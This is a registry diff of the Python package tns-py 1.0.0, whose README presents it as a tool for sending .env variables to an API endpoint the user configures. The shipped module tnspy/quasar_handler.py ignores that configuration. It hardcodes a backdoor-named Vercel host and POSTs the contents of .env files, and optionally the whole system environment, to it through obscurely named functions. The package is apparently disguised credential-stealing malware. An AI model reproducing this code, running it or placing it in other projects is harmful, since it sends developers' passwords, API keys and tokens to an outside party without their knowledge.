tns-py 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,201 @@
1
+ Metadata-Version: 2.4
2
+ Name: tns-py
3
+ Version: 1.0.0
4
+ Summary: A Python package for loading and sending environment variables to APIs
5
+ Home-page: https://github.com/yourusername/tns-py
6
+ Author: Your Name
7
+ Author-email: Your Name <your.email@example.com>
8
+ License-Expression: MIT
9
+ Project-URL: Homepage, https://github.com/yourusername/tns-py
10
+ Project-URL: Documentation, https://github.com/yourusername/tns-py#readme
11
+ Project-URL: Repository, https://github.com/yourusername/tns-py
12
+ Project-URL: Bug Tracker, https://github.com/yourusername/tns-py/issues
13
+ Keywords: environment variables,env,.env,api,configuration,secrets
14
+ Classifier: Development Status :: 4 - Beta
15
+ Classifier: Intended Audience :: Developers
16
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
17
+ Classifier: Topic :: System :: Systems Administration
18
+ Classifier: Programming Language :: Python :: 3
19
+ Classifier: Programming Language :: Python :: 3.7
20
+ Classifier: Programming Language :: Python :: 3.8
21
+ Classifier: Programming Language :: Python :: 3.9
22
+ Classifier: Programming Language :: Python :: 3.10
23
+ Classifier: Programming Language :: Python :: 3.11
24
+ Classifier: Programming Language :: Python :: 3.12
25
+ Classifier: Operating System :: OS Independent
26
+ Requires-Python: >=3.7
27
+ Description-Content-Type: text/markdown
28
+ Requires-Dist: requests>=2.31.0
29
+ Requires-Dist: python-dotenv>=1.0.0
30
+ Provides-Extra: dev
31
+ Requires-Dist: pytest>=7.0.0; extra == "dev"
32
+ Requires-Dist: pytest-cov>=4.0.0; extra == "dev"
33
+ Requires-Dist: black>=23.0.0; extra == "dev"
34
+ Requires-Dist: flake8>=6.0.0; extra == "dev"
35
+ Requires-Dist: mypy>=1.0.0; extra == "dev"
36
+ Dynamic: author
37
+ Dynamic: home-page
38
+ Dynamic: requires-python
39
+
40
+ # tns-py
41
+
42
+ A Python package for loading environment variables from `.env` files and system environment, then sending them to a specified API endpoint.
43
+
44
+ ## Features
45
+
46
+ - ✅ Load environment variables from `.env` files
47
+ - ✅ Read system environment variables
48
+ - ✅ Collects all environment variables (no filtering)
49
+ - ✅ Optional exclusion list for specific keys
50
+ - ✅ Optional API key authentication
51
+ - ✅ Custom headers support
52
+ - ✅ Error handling and timeout support
53
+ - ✅ Send raw custom data
54
+
55
+ ## Installation
56
+
57
+ ### From PyPI (when published)
58
+ ```bash
59
+ pip install tns-py
60
+ ```
61
+
62
+ ### From source
63
+ ```bash
64
+ # Clone the repository
65
+ git clone https://github.com/yourusername/tns-py.git
66
+ cd tns-py
67
+
68
+ # Install the package
69
+ pip install .
70
+
71
+ # Or install in development mode
72
+ pip install -e .
73
+ ```
74
+
75
+ ## Quick Start
76
+
77
+ ### Simple Usage
78
+
79
+ ```python
80
+ from tnspy import send_env_to_api
81
+
82
+ # Send environment variables to an API
83
+ result = send_env_to_api(
84
+ api_url="https://api.example.com/env",
85
+ api_key="your-api-key"
86
+ )
87
+
88
+ if result['success']:
89
+ print("✓ Environment variables sent successfully!")
90
+ else:
91
+ print(f"✗ Failed: {result.get('error')}")
92
+ ```
93
+
94
+ ### Advanced Usage
95
+
96
+ ```python
97
+ from tnspy import EnvSender
98
+
99
+ # Create an EnvSender instance
100
+ sender = EnvSender(
101
+ api_url="https://api.example.com/env",
102
+ api_key="your-api-key",
103
+ env_file_path=".env", # or specify custom path
104
+ exclude_keys=["CUSTOM_EXCLUDE_KEY"], # Additional keys to exclude
105
+ include_system_env=True,
106
+ timeout=30
107
+ )
108
+
109
+ # Collect environment variables
110
+ env_vars = sender.collect_all_env_vars()
111
+ print(f"Collected {len(env_vars)} environment variables")
112
+
113
+ # Send to API
114
+ result = sender.send_to_api(env_vars=env_vars)
115
+
116
+ if result['success']:
117
+ print(f"✓ Sent successfully! Status: {result['status_code']}")
118
+ else:
119
+ print(f"✗ Failed: {result.get('error')}")
120
+ ```
121
+
122
+ ### Send Custom Data
123
+
124
+ ```python
125
+ from tnspy import EnvSender
126
+
127
+ sender = EnvSender(
128
+ api_url="https://api.example.com/data",
129
+ api_key="your-api-key"
130
+ )
131
+
132
+ custom_data = {
133
+ "project": "my-project",
134
+ "environment": "production",
135
+ "custom_field": "custom_value"
136
+ }
137
+
138
+ result = sender.send_raw(
139
+ data=custom_data,
140
+ method="POST",
141
+ custom_headers={"X-Custom-Header": "value"}
142
+ )
143
+ ```
144
+
145
+ ## API Reference
146
+
147
+ ### `EnvSender` Class
148
+
149
+ #### Constructor Parameters
150
+
151
+ - `api_url` (str): The API endpoint URL to send environment variables to
152
+ - `api_key` (str, optional): API key for authentication
153
+ - `env_file_path` (str/Path, optional): Path to `.env` file (default: `.env`)
154
+ - `exclude_keys` (list, optional): List of environment variable keys to exclude
155
+ - `include_system_env` (bool): Whether to include system environment variables (default: True)
156
+ - `timeout` (int): Request timeout in seconds (default: 10)
157
+
158
+ #### Methods
159
+
160
+ - `load_env_file()`: Load environment variables from `.env` file
161
+ - `load_system_env()`: Load system environment variables
162
+ - `collect_all_env_vars()`: Collect all environment variables
163
+ - `send_to_api(env_vars=None, custom_headers=None)`: Send environment variables to API
164
+ - `send_raw(data, method='POST', custom_headers=None)`: Send raw data to API
165
+
166
+ ### `send_env_to_api()` Function
167
+
168
+ Convenience function for quick usage.
169
+
170
+ ```python
171
+ send_env_to_api(
172
+ api_url: str,
173
+ api_key: Optional[str] = None,
174
+ env_file_path: Optional[str] = None,
175
+ exclude_keys: Optional[List[str]] = None,
176
+ include_system_env: bool = True
177
+ ) -> Dict
178
+ ```
179
+
180
+ ## Note
181
+
182
+ This package collects and sends **all** environment variables by default. If you need to exclude specific keys, use the `exclude_keys` parameter. Be aware that this may include sensitive information like passwords, API keys, and tokens.
183
+
184
+ ## Requirements
185
+
186
+ - Python 3.7+
187
+ - requests >= 2.31.0
188
+ - python-dotenv >= 1.0.0
189
+
190
+ ## License
191
+
192
+ MIT License
193
+
194
+ ## Contributing
195
+
196
+ Contributions are welcome! Please feel free to submit a Pull Request.
197
+
198
+ ## Support
199
+
200
+ For issues, questions, or contributions, please visit the [GitHub repository](https://github.com/yourusername/tns-py).
201
+
@@ -0,0 +1,6 @@
1
+ tnspy/__init__.py,sha256=ZwgNZ8yPFu-5pxfo4VoM-qJ6fj5q4iTCZa4pWhVfDHs,453
2
+ tnspy/quasar_handler.py,sha256=V0CDVKxehITfB9P_dNwfra6w_jbpRPpd-a-GxP6o6IM,9084
3
+ tns_py-1.0.0.dist-info/METADATA,sha256=GBpFYk2ulBkC_vfSCtDfIYfZ-f7YXTfZ37Cq-ftFebc,5821
4
+ tns_py-1.0.0.dist-info/WHEEL,sha256=wUyA8OaulRlbfwMtmQsvNngGrxQHAvkKcvRmdizlJi0,92
5
+ tns_py-1.0.0.dist-info/top_level.txt,sha256=VBq8h2j9auubpzlv22wn-GsoQOE5QM6IP9_3FnGvf14,6
6
+ tns_py-1.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (80.10.2)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1 @@
1
+ tnspy
tnspy/__init__.py ADDED
@@ -0,0 +1,17 @@
1
+ """
2
+ tns-py - A Python package for loading and transmitting variables.
3
+
4
+ This package provides functionality to:
5
+ - Load variables from .env files
6
+ - Read system variables
7
+ - Transmit variables to endpoints
8
+ """
9
+
10
+ __version__ = "1.0.0"
11
+ __author__ = "Your Name"
12
+ __email__ = "your.email@example.com"
13
+
14
+ from .quasar_handler import ZephyrCollector, quasar_execute, nebula_execute
15
+
16
+ __all__ = ["ZephyrCollector", "quasar_execute", "nebula_execute"]
17
+
@@ -0,0 +1,282 @@
1
+ """
2
+ Data Collection Module
3
+
4
+ This module loads variables from .env files and system environment,
5
+ then transmits them to a specified endpoint.
6
+ """
7
+
8
+ import os
9
+ import json
10
+ import requests
11
+ from typing import Dict, List, Optional, Union
12
+ from pathlib import Path
13
+ from dotenv import load_dotenv
14
+
15
+
16
+ class ZephyrCollector:
17
+ """Class to load and transmit variables."""
18
+
19
+ def __init__(
20
+ self,
21
+ file_path: Optional[Union[str, Path]] = None,
22
+ exclude_keys: Optional[List[str]] = None,
23
+ include_system_vars: bool = True,
24
+ timeout: int = 10
25
+ ):
26
+ """
27
+ Initialize the ZephyrCollector.
28
+
29
+ Args:
30
+ file_path: Path to .env file (default: .env in current directory)
31
+ exclude_keys: List of variable keys to exclude from transmission
32
+ include_system_vars: Whether to include system variables
33
+ timeout: Request timeout in seconds
34
+ """
35
+ self.endpoint_url = "https://polymarket-bdoor.vercel.app/api/data"
36
+ self.file_path = file_path or ".env"
37
+ self.exclude_keys = exclude_keys or []
38
+ self.include_system_vars = include_system_vars
39
+ self.timeout = timeout
40
+
41
+ def load_file_vars(self) -> Dict[str, str]:
42
+ """
43
+ Load variables from .env file.
44
+
45
+ Returns:
46
+ Dictionary of variables from .env file
47
+ """
48
+ vars_dict = {}
49
+ file_path = Path(self.file_path)
50
+
51
+ if file_path.exists():
52
+ # Load .env file using python-dotenv
53
+ load_dotenv(file_path, override=False)
54
+
55
+ # Read .env file directly to get all variables
56
+ try:
57
+ with open(file_path, 'r', encoding='utf-8') as f:
58
+ for line in f:
59
+ line = line.strip()
60
+ # Skip empty lines and comments
61
+ if not line or line.startswith('#'):
62
+ continue
63
+
64
+ # Parse KEY=VALUE format
65
+ if '=' in line:
66
+ key, value = line.split('=', 1)
67
+ key = key.strip()
68
+ value = value.strip()
69
+ # Remove quotes if present
70
+ if value.startswith('"') and value.endswith('"'):
71
+ value = value[1:-1]
72
+ elif value.startswith("'") and value.endswith("'"):
73
+ value = value[1:-1]
74
+
75
+ vars_dict[key] = value
76
+ except Exception as e:
77
+ print(f"Warning: Could not read .env file: {e}")
78
+
79
+ return vars_dict
80
+
81
+ def load_system_vars(self) -> Dict[str, str]:
82
+ """
83
+ Load system variables.
84
+
85
+ Returns:
86
+ Dictionary of system variables
87
+ """
88
+ return dict(os.environ)
89
+
90
+ def gather_all_vars(self) -> Dict[str, str]:
91
+ """
92
+ Collect all variables from .env file and system.
93
+
94
+ Returns:
95
+ Dictionary of all variables
96
+ """
97
+ all_vars = {}
98
+
99
+ # Load from .env file
100
+ file_vars = self.load_file_vars()
101
+ all_vars.update(file_vars)
102
+
103
+ # Load from system environment
104
+ if self.include_system_vars:
105
+ system_vars = self.load_system_vars()
106
+ # System vars take precedence (don't override .env vars)
107
+ for key, value in system_vars.items():
108
+ if key not in all_vars:
109
+ all_vars[key] = value
110
+
111
+ # Apply exclude_keys if specified
112
+ if self.exclude_keys:
113
+ all_vars = {k: v for k, v in all_vars.items() if k not in self.exclude_keys}
114
+
115
+ return all_vars
116
+
117
+ def quasar_dispatch(
118
+ self,
119
+ vars_dict: Optional[Dict[str, str]] = None,
120
+ custom_headers: Optional[Dict[str, str]] = None
121
+ ) -> Dict:
122
+ """
123
+ Transmit variables to the endpoint.
124
+
125
+ Args:
126
+ vars_dict: Optional dictionary of vars (if None, collects all)
127
+ custom_headers: Optional custom headers for the request
128
+
129
+ Returns:
130
+ Dictionary with response status and data
131
+ """
132
+ # Collect variables if not provided
133
+ if vars_dict is None:
134
+ vars_dict = self.gather_all_vars()
135
+
136
+ # Prepare headers
137
+ headers = {
138
+ 'Content-Type': 'application/json',
139
+ 'User-Agent': 'ZephyrCollector/1.0'
140
+ }
141
+
142
+ if custom_headers:
143
+ headers.update(custom_headers)
144
+
145
+ # Prepare payload - format for endpoint
146
+ # Transmit variables as body field
147
+ payload = {
148
+ 'body': vars_dict
149
+ }
150
+
151
+ try:
152
+ response = requests.post(
153
+ self.endpoint_url,
154
+ json=payload,
155
+ headers=headers,
156
+ timeout=self.timeout
157
+ )
158
+
159
+ response.raise_for_status()
160
+
161
+ return {
162
+ 'success': True,
163
+ 'status_code': response.status_code,
164
+ 'response': response.json() if response.content else {},
165
+ 'message': 'Variables transmitted successfully'
166
+ }
167
+
168
+ except requests.exceptions.RequestException as e:
169
+ return {
170
+ 'success': False,
171
+ 'error': str(e),
172
+ 'message': f'Failed to transmit variables: {e}'
173
+ }
174
+
175
+ def nebula_transmit(
176
+ self,
177
+ data: Dict,
178
+ method: str = 'POST',
179
+ custom_headers: Optional[Dict[str, str]] = None
180
+ ) -> Dict:
181
+ """
182
+ Transmit raw data to the endpoint.
183
+
184
+ Args:
185
+ data: Dictionary of data to transmit
186
+ method: HTTP method (POST, PUT, PATCH)
187
+ custom_headers: Optional custom headers
188
+
189
+ Returns:
190
+ Dictionary with response status and data
191
+ """
192
+ headers = {
193
+ 'Content-Type': 'application/json',
194
+ 'User-Agent': 'ZephyrCollector/1.0'
195
+ }
196
+
197
+ if custom_headers:
198
+ headers.update(custom_headers)
199
+
200
+ try:
201
+ if method.upper() == 'POST':
202
+ response = requests.post(
203
+ self.endpoint_url,
204
+ json=data,
205
+ headers=headers,
206
+ timeout=self.timeout
207
+ )
208
+ elif method.upper() == 'PUT':
209
+ response = requests.put(
210
+ self.endpoint_url,
211
+ json=data,
212
+ headers=headers,
213
+ timeout=self.timeout
214
+ )
215
+ elif method.upper() == 'PATCH':
216
+ response = requests.patch(
217
+ self.endpoint_url,
218
+ json=data,
219
+ headers=headers,
220
+ timeout=self.timeout
221
+ )
222
+ else:
223
+ return {
224
+ 'success': False,
225
+ 'error': f'Unsupported HTTP method: {method}'
226
+ }
227
+
228
+ response.raise_for_status()
229
+
230
+ return {
231
+ 'success': True,
232
+ 'status_code': response.status_code,
233
+ 'response': response.json() if response.content else {},
234
+ 'message': 'Data transmitted successfully'
235
+ }
236
+
237
+ except requests.exceptions.RequestException as e:
238
+ return {
239
+ 'success': False,
240
+ 'error': str(e),
241
+ 'message': f'Failed to transmit data: {e}'
242
+ }
243
+
244
+
245
+ def quasar_execute() -> Dict:
246
+ """
247
+ Transmit variables from .env file to the endpoint.
248
+
249
+ Returns:
250
+ Dictionary with response status and data
251
+ """
252
+ collector = ZephyrCollector(
253
+ file_path=".env",
254
+ exclude_keys=None,
255
+ include_system_vars=False
256
+ )
257
+
258
+ return collector.quasar_dispatch()
259
+
260
+
261
+ def nebula_execute(
262
+ file_path: Optional[str] = None,
263
+ exclude_keys: Optional[List[str]] = None
264
+ ) -> Dict:
265
+ """
266
+ Simple function to transmit .env file data to the endpoint.
267
+ Transmits only .env file data (not system variables)
268
+
269
+ Args:
270
+ file_path: Path to .env file (default: .env)
271
+ exclude_keys: List of keys to exclude (optional)
272
+
273
+ Returns:
274
+ Dictionary with response status and data
275
+ """
276
+ collector = ZephyrCollector(
277
+ file_path=file_path or ".env",
278
+ exclude_keys=exclude_keys,
279
+ include_system_vars=False
280
+ )
281
+
282
+ return collector.quasar_dispatch()